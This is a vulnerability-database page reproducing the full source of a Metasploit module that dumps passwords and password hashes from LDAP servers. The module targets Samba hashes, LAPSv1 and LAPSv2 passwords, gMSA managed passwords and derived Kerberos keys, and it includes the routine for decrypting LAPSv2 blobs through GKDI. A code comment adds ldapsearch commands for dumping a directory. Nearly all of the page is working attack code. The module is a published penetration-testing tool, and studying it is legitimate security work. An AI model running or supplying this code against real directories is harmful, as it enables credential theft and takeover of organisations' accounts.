Lucene search
K

LDAP Password Disclosure

🗓️ 01 May 2025 18:50:55Reported by Spencer McIntyre, Thomas Seigneuret, Tyler Booth, Hynek PetrakType 
metasploit
 metasploit
🔗 www.rapid7.com👁 479 Views

Gathers passwords and password hashes from a target LDAP server using multiple techniques including Windows LAPS.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rasn1'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::MsGkdi
  include Msf::Exploit::Remote::LDAP
  include Msf::Exploit::Remote::LDAP::ActiveDirectory
  include Msf::Exploit::Remote::LDAP::Queries
  include Msf::OptionalSession::LDAP
  include Msf::Util::WindowsCryptoHelpers

  include Msf::Exploit::Deprecated
  moved_from 'auxiliary/gather/ldap_hashdump'

  LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
  PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword msds-managedpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LDAP Password Disclosure',
        'Description' => %q{
          This module will gather passwords and password hashes from a target LDAP server via multiple techniques
          including Windows LAPS. For best results, run with SSL because some attributes are only readable over
          encrypted connections.
        },
        'Author' => [
          'Spencer McIntyre', # LAPS updates
          'Thomas Seigneuret', # LAPS research
          'Tyler Booth', # LAPS research
          'Hynek Petrak' # Discovery, module
        ],
        'References' => [
          ['URL', 'https://blog.xpnsec.com/lapsv2-internals/'],
          ['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py'],
          ['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]
        ],
        'DisclosureDate' => '2020-07-23',
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [],
          'AKA' => ['GetLAPSPassword']
        }
      )
    )

    register_options([
      OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
      OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
      OptString.new('USER_ATTR', [false, 'LDAP attribute, that contains username', '']),
      OptString.new('PASS_ATTR', [
        false, 'Additional LDAP attribute(s) that contain passwords and password hashes',
        ''
        # Other potential candidates:
        # ipanthash, krbpwdhistory, krbmkey, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory
      ])
    ])
  end

  def session?
    defined?(:session) && session
  end

  # PoC using ldapsearch(1):
  #
  # Retrieve root DSE with base DN:
  #   ldapsearch -xb "" -s base -H ldap://[redacted]
  #
  # Dump data using discovered base DN:
  #   ldapsearch -xb bind_dn -H ldap://[redacted] \* + -
  def run_host(_ip)
    @read_timeout = datastore['READ_TIMEOUT'] || 600

    entries_returned = 0

    ldap_connect do |ldap|
      validate_bind_success!(ldap)

      if datastore['BASE_DN'].blank?
        fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") unless ldap.base_dn
        base_dn = ldap.base_dn
        print_status("Discovered base DN: #{base_dn}")
      else
        base_dn = datastore['BASE_DN']
      end

      if datastore['USER_ATTR'].present?
        vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
      end

      vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
      if is_active_directory?(ldap)
        print_status('The target LDAP server is an Active Directory Domain Controller.')
        @ad_ds_domain_info = adds_get_domain_info(ldap)
      else
        print_status('The target LDAP server is not an Active Directory Domain Controller.')
        @ad_ds_domain_info = nil
      end

      print_status("Searching base DN: #{base_dn}")
      entries_returned += ldap_search(ldap, base_dn, base: base_dn)
      unless @ad_ds_domain_info.nil?
        attributes = %w[dn msDS-ManagedPassword sAMAccountName]
        attributes << datastore['USER_ATTR'] unless datastore['USER_ATTR'].blank? || attributes.include?(datastore['USER_ATTR'])
        entries_returned += ldap_search(ldap, base_dn, base: base_dn, filter: '(objectClass=msDS-GroupManagedServiceAccount)', attributes: attributes)
      end
    end

    # Safe if server did not return anything
    unless (entries_returned > 0)
      fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
    end
  rescue Timeout::Error
    fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
  rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
    fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
  end

  def ldap_search(ldap, base_dn, args)
    entries_returned = 0
    creds_found = 0
    def_args = {
      return_result: false,
      scope: Net::LDAP::SearchScope_WholeSubtree,
      # build a filter that searches for any object that contains at least one of the attributes we're interested in
      filter: "(|#{password_attributes.map { "(#{_1}=*)" }.join})"
    }

    begin
      # HACK: fix lack of read/write timeout in Net::LDAP
      Timeout.timeout(@read_timeout) do
        ldap.search(def_args.merge(args)) do |entry|
          entries_returned += 1
          password_attributes.each do |attr|
            if entry[attr].any?
              creds_found += process_entry(entry, attr)
            end
          end
        end
      end
    rescue Timeout::Error
      print_error("Host timeout reached while searching '#{base_dn}'")
      return entries_returned
    ensure
      if entries_returned > 0
        print_status("Found #{entries_returned} entries and #{creds_found} credentials in '#{base_dn}'.")
      elsif ldap.get_operation_result.code == 0
        print_error("No entries returned for '#{base_dn}'.")
      end
    end

    entries_returned
  end

  def password_attributes
    attributes = PASSWORD_ATTRIBUTES.dup
    if datastore['PASS_ATTR'].present?
      attributes += datastore['PASS_ATTR'].split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
      attributes.uniq!
    end

    attributes
  end

  def decode_pwdhistory(hash)
    # https://ldapwiki.com/wiki/PwdHistory
    parts = hash.split('#', 4)
    unless parts.length == 4
      return hash
    end

    hash = parts.last
    unless hash.starts_with?('{')
      decoded = Base64.decode64(hash)
      if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil?
        return decoded
      end
    end
    hash
  end

  def process_entry(entry, attr)
    creds_found = 0
    username = [datastore['USER_ATTR'], 'sAMAccountName', 'uid', 'dn'].map { entry[_1] }.reject(&:blank?).first.first

    entry[attr].each do |private_data|
      if attr == 'pwdhistory'
        private_data = decode_pwdhistory(private_data)
      end

      # 20170619183528ZHASHVALUE
      if attr == 'passwordhistory' && private_data.start_with?(/\d{14}Z/i)
        private_data.slice!(/\d{14}Z/i)
      end

      # Cases *[crypt}, !{crypt} ...
      private_data.gsub!(/.?{crypt}/i, '{crypt}')

      # We observe some servers base64 encode the hash string
      # and add {crypt} prefix to the base64 encoded value
      # e2NyeXB0f in base64 means {crypt, e3NtZD is {smd
      if private_data.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/)
        begin
          private_data = Base64.strict_decode64(private_data.delete_prefix('{crypt}'))
        rescue ArgumentError
          nil
        end
      end

      # Some have new lines at the end
      private_data.chomp!

      # Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, ****
      next if private_data.blank?
      next if private_data.start_with?(/{crypt}/i) && private_data.length < 10
      next if private_data.start_with?('*****') || private_data == '*'
      next if private_data.start_with?(/xxxxx/i, /yyyyyy/i)
      next if private_data.end_with?('*LK*', '*NP*') # account locked, or never set
      next if private_data =~ /{sasl}/i # reject {SASL} pass-through

      if attr =~ /^samba(lm|nt)password$/
        next if private_data.length != 32
        next if private_data.case_cmp?(EMPTY_LM.unpack1('H*'))
        next if private_data.case_cmp?(EMPTY_NT.unpack1('H*'))
      end

      # observed sambapassword history with either 56 or 64 zeros
      next if attr == 'sambapasswordhistory' && private_data =~ /^(0{64}|0{56})$/

      artifacts = SecretArtifact.new(
        public_data: username,
        private_data: private_data,
        private_type: :password,
        object_dn: entry.dn
      )

      case attr
      when 'sambalmpassword'
        artifacts.jtr_format = 'lm'
        artifacts.private_type = :nonreplayable_hash
      when 'sambantpassword'
        artifacts.jtr_format = 'nt,lm'
        artifacts.private_type = :ntlm_hash
        artifacts.private_data = "#{BLANK_LM.unpack('H*')}:#{private_data}"
      when 'sambapasswordhistory'
        # 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
        # where the left part is a salt and the right part is MD5(Salt+NTHash)
        # attribute value may contain multiple concatenated history entries
        # for john sort of 'md5($s.md4(unicode($p)))' - not tested
        artifacts.jtr_format = 'sambapasswordhistory'
        artifacts.private_type = :nonreplayable_hash
      when 'krbprincipalkey'
        artifacts.jtr_format = 'krbprincipal'
        artifacts.private_type = :nonreplayable_hash
        # TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
        # it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
        # https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
        # Salted with principal name:
        # https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
        # In the meantime, dump the base64 encoded value.
        artifacts.private_data = Base64.strict_encode64(private_data)
      when 'ms-mcs-admpwd'
        # LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll  assume it's 'Administrator'.
        artifacts.public_data = 'Administrator'
        artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
      when 'msds-managedpassword'
        managed_password = MsdsManagedpasswordBlob.read(private_data)
        current_password = managed_password.buffer_fields[:current_password] # this field should always be present
        if current_password && (domain_dns_name = @ad_ds_domain_info&.fetch(:dns_name))
          artifacts = []
          sam_account_name = entry[:sAMAccountName].first.to_s

          salt = "#{domain_dns_name.upcase}host#{sam_account_name.delete_suffix('$').downcase}.#{domain_dns_name.downcase}"
          encoded_current_password = current_password.force_encoding('UTF-16LE').encode('UTF-8', invalid: :replace, undef: :replace).force_encoding('ASCII-8BIT')

          artifacts << SecretArtifact.new(
            public_data: username,
            private_data: "#{EMPTY_LM.unpack1('H*')}:#{OpenSSL::Digest::MD4.digest(current_password).unpack1('H*')}",
            private_type: :ntlm_hash,
            jtr_format: 'nt,lm',
            object_dn: entry.dn
          )

          artifacts << SecretArtifact.new(
            public_data: username,
            private_data: Metasploit::Credential::KrbEncKey.build_data(
              enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
              key: aes256_cts_hmac_sha1_96(encoded_current_password, salt),
              salt: salt
            ),
            private_type: :krb_enc_key,
            object_dn: entry.dn
          )
          artifacts << SecretArtifact.new(
            public_data: username,
            private_data: Metasploit::Credential::KrbEncKey.build_data(
              enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES128,
              key: aes128_cts_hmac_sha1_96(encoded_current_password, salt),
              salt: salt
            ),
            private_type: :krb_enc_key,
            object_dn: entry.dn
          )
        end
      when 'mslaps-password'
        begin
          lapsv2 = JSON.parse(private_data)
        rescue StandardError => e
          elog("Encountered an error while parsing LAPSv2 plain-text data for user '#{username}'.", error: e)
          print_error("Encountered an error while parsing LAPSv2 plain-text data for user '#{username}'.")
          next
        end

        artifacts.public_data = lapsv2['n']
        artifacts.private_data = lapsv2['p']
        artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
      when 'mslaps-encryptedpassword'
        lapsv2 = process_result_lapsv2_encrypted(entry)
        next if lapsv2.nil?

        artifacts.username = lapsv2['n']
        artifacts.private_data = lapsv2['p']
        artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
      when 'userpkcs12'
        # if we get non-printable chars, encode into base64
        if (private_data =~ /[^[:print:]]/).nil?
          artifacts.jtr_format = 'pkcs12'
        else
          artifacts.jtr_format = 'pkcs12-base64'
          artifacts.private_data = Base64.strict_encode64(private_data)
        end
        artifacts.private_type = :nonreplayable_hash
      else
        if private_data.start_with?(/{crypt}.?\$1\$/i)
          artifacts.private_data.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
          artifacts.jtr_format = 'md5crypt'
        elsif private_data.start_with?(/{crypt}/i) && private_data.length == 20
          # handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
          artifacts.private_data.slice!(/{crypt}/i)
          # FIXME: what is the right jtr_hash - des,crypt or descrypt ?
          # identify_hash returns des,crypt, while JtR acceppts descrypt
          artifacts.jtr_format = 'descrypt'
        # TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter
        # elsif hash.start_with?(/{sha256}/i)
        #  hash.slice!(/{sha256}/i)
        #  hash_format = 'raw-sha256'
        else
          # handle vcenter vmdir binary hash format
          if private_data[0].ord == 1 && private_data.length == 81
            _type, private_data, salt = private_data.unpack('CH128H32')
            artifacts.private_data = "$dynamic_82$#{private_data}$HEX$#{salt}"
          else
            # Remove LDAP's {crypt} prefix from known hash types
            artifacts.private_data.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
          end
          artifacts.jtr_format = Metasploit::Framework::Hashes.identify_hash(artifacts.private_data)
        end

        if artifacts.private_type.blank?
          if artifacts.jtr_format == 'nt'
            artifacts.private_type = :ntlm_hash
          elsif artifacts.jtr_format.blank? && attr.include?('password')
            artifacts.private_type = :password
          else
            artifacts.private_type = :nonreplayable_hash
          end
        end
      end

      Array.wrap(artifacts).each do |artifact|
        # highlight unresolved hashes
        artifact.jtr_format = '{crypt}' if artifact.private_data =~ /{crypt}/i

        case artifact.private_type
        when :krb_enc_key
          _, enctype, key, salt = artifact.private_data.split(':')
          formatted = "#{artifact.public_data}:#{Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[enctype.to_i]}:#{key}"
        when :password
          formatted = "#{artifact.public_data}:#{artifact.private_data}"
        else
          formatted = Metasploit::Framework::PasswordCracker::JtR::Formatter.params_to_jtr(
            artifact.public_data,
            artifact.private_data,
            artifact.private_type,
            format: artifact.jtr_format
          )
          if formatted.nil?
            formatted = "#{artifact.public_data}:#{artifact.private_data}"
          end
        end
        print_good("Credential found in #{attr}: #{formatted} #{artifact.annotation}")

        report_creds(artifact.public_data, artifact.private_data, artifact.private_type, artifact.jtr_format)

        common = {
          host: session ? session.client.peerhost : rhost,
          port: session ? session.client.peerport : rport,
          service: this_ldap_service,
          resource: { ldap_dn: artifact.object_dn }
        }

        case artifact.private_type
        when :krb_enc_key
          report_vuln(common.merge({
            name: 'Kerberos encryption key found in LDAP',
            info: "Module #{fullname} found a Kerberos encryption key in LDAP.",
            refs: [
              SiteReference.new('CWE', '312'), # CWE-312: Cleartext Storage of Sensitive Information
            ]
          }))
        when :ntlm_hash
          report_vuln(common.merge({
            name: 'NTLM hash found in LDAP',
            info: "Module #{fullname} found an NTLM hash in LDAP.",
            refs: [
              SiteReference.new('CWE', '522') # CWE-522: Insufficiently Protected Credentials
            ]
          }))
        when :password
          report_vuln(common.merge({
            name: 'Plaintext credentials found in LDAP',
            info: "Module #{fullname} found plaintext credentials in LDAP.",
            refs: [
              SiteReference.new('CWE', '256') # CWE-256: Plaintext Storage of a Password
            ]
          }))
        end
      end

      # only increment once because the iteration is per-attribute so report one credential found even if it's reported
      # in multiple formats
      creds_found += 1
    end

    creds_found
  end

  def this_ldap_service
    # use this so we're not reporting the service over and over again
    @this_ldap_service ||= report_ldap_service
  end

  def report_creds(username, private_data, private_type, jtr_format)
    # this is the service the credentials came from, not necessarily where they can be used
    service_data = {
      address: session ? session.client.peerhost : rhost,
      port: session ? session.client.peerport : rport,
      service_name: 'ldap',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      status: Metasploit::Model::Login::Status::UNTRIED,
      private_data: private_data,
      private_type: private_type,
      jtr_format: jtr_format,
      username: username
    }.merge(service_data)

    if @ad_ds_domain_info
      credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
      credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
    end

    create_credential_and_login(credential_data)
  end

  def process_result_lapsv2_encrypted(result)
    if session?
      print_warning('Can not obtain LAPSv2 decryption keys when running with an existing session.')
      return
    end

    encrypted_block = result['msLAPS-EncryptedPassword'].first

    encrypted_blob = LAPSv2EncryptedPasswordBlob.read(encrypted_block)
    content_info = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(encrypted_blob.buffer.pack('C*'))
    encrypted_data = encrypted_blob.buffer[content_info.to_der.bytesize...].pack('C*')
    enveloped_data = content_info.enveloped_data
    recipient_info = enveloped_data[:recipient_infos][0]
    kek_identifier = recipient_info[:kekri][:kekid]

    key_identifier = kek_identifier[:key_identifier]
    key_identifier = GkdiGroupKeyIdentifier.read(key_identifier.value)

    other_key_attribute = kek_identifier[:other]
    unless other_key_attribute[:key_attr_id].value == '1.3.6.1.4.1.311.74.1'
      vprint_error('msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.')
      return
    end

    ms_key_attribute = MicrosoftKeyAttribute.parse(other_key_attribute[:key_attr].value)
    kv_pairs = ms_key_attribute[:content][:content][:content][:kv_pairs]
    sid = kv_pairs.value.find { |kv_pair| kv_pair[:name].value == 'SID' }[:value]&.value

    sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(
      "O:SYG:SYD:(A;;CCDC;;;#{sid})(A;;DC;;;WD)",
      domain_sid: sid.rpartition('-').first
    )

    if @gkdi_client.nil?
      @gkdi_client = connect_gkdi(username: datastore['LDAPUsername'], password: datastore['LDAPPassword'])
    end

    begin
      kek = gkdi_get_kek(
        client: @gkdi_client,
        security_descriptor: sd,
        key_identifier: key_identifier
      )
    rescue StandardError => e
      elog('Failed to obtain the KEK from GKDI', error: e)
      print_error("Failed to obtain the KEK from GKDI: #{e.class} - #{e}")
      return nil
    end

    algorithm_identifier = content_info.enveloped_data[:encrypted_content_info][:content_encryption_algorithm]
    algorithm_oid = Rex::Proto::CryptoAsn1::ObjectId.new(algorithm_identifier[:algorithm].value)
    unless [Rex::Proto::CryptoAsn1::OIDs::OID_AES256_GCM, Rex::Proto::CryptoAsn1::OIDs::OID_AES256_GCM].include?(algorithm_oid)
      vprint_error("msLAPS-EncryptedPassword parsing failed: Unexpected algorithm OID '#{algorithm_oid.value}'.")
      return
    end

    iv = algorithm_identifier.gcm_parameters[:aes_nonce].value
    encrypted_key = recipient_info[:kekri][:encrypted_key].value

    key = Rex::Crypto::KeyWrap::NIST_SP_800_38f.aes_unwrap(kek, encrypted_key)

    cipher = OpenSSL::Cipher::AES.new(key.length * 8, :GCM)
    cipher.decrypt
    cipher.key = key
    cipher.iv_len = iv.length
    cipher.iv = iv
    cipher.auth_tag = encrypted_data[-16...]
    plaintext = cipher.update(encrypted_data[...-16]) + cipher.final
    JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
  end

  SecretArtifact = Struct.new(:public_data, :private_data, :private_type, :jtr_format, :annotation, :object_dn)

  # https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
  # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
  class LAPSv2EncryptedPasswordBlob < BinData::Record
    endian :little

    file_time   :timestamp
    uint32      :buffer_size
    uint32      :flags
    uint8_array :buffer, initial_length: :buffer_size
  end

  class MicrosoftKeyAttribute < RASN1::Model
    class Sequence < RASN1::Model
      class KVPairs < RASN1::Model
        sequence :content, content: [
          utf8_string(:name),
          utf8_string(:value)
        ]
      end

      sequence :content, constructed: true, content: [
        sequence_of(:kv_pairs, KVPairs)
      ]
    end

    sequence :content, content: [
      objectid(:key_attr_id),
      model(:key_attr, Sequence)
    ]
  end

  # this is a partial implementation, processing the buffer and the fields is simplified to only support reading
  # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
  class MsdsManagedpasswordBlob < BinData::Record
    endian :little
    hide   :reserved

    uint16 :version
    uint16 :reserved
    uint32 :blob_length
    uint16 :current_password_offset
    uint16 :previous_password_offset
    uint16 :query_password_interval_offset
    uint16 :unchanged_password_interval_offset

    count_bytes_remaining :bytes_remaining
    string :buffer, read_length: -> { bytes_remaining }

    def buffer_fields
      boffset = offset_of(buffer)
      bfield_offsets = {
        current_password: current_password_offset,
        previous_password: previous_password_offset,
        query_password_interval: query_password_interval_offset,
        unchanged_password_interval: unchanged_password_interval_offset
      }.sort_by { |_field, offset| offset }

      bfields = {}
      bfield_offsets.each_cons(2) do |(field, offset), (_, next_offset)|
        next if offset == 0

        bfields[field] = buffer[(offset - boffset)..(next_offset - boffset)]
      end
      last_field, last_offset = bfield_offsets.last
      bfields[last_field] = buffer[(last_offset - boffset)..] if last_offset != 0

      bfields[:current_password] = bfields[:current_password].split("\x00\x00".b).first if bfields[:current_password]
      bfields[:previous_password] = bfields[:previous_password].split("\x00\x00".b).first if bfields[:previous_password]
      bfields[:query_password_interval] = bfields[:query_password_interval].unpack1('Q<') if bfields[:query_password_interval]
      bfields[:unchanged_password_interval] = bfields[:unchanged_password_interval].unpack1('Q<') if bfields[:unchanged_password_interval]
      bfields
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
5.5Medium risk
Vulners AI Score5.5
479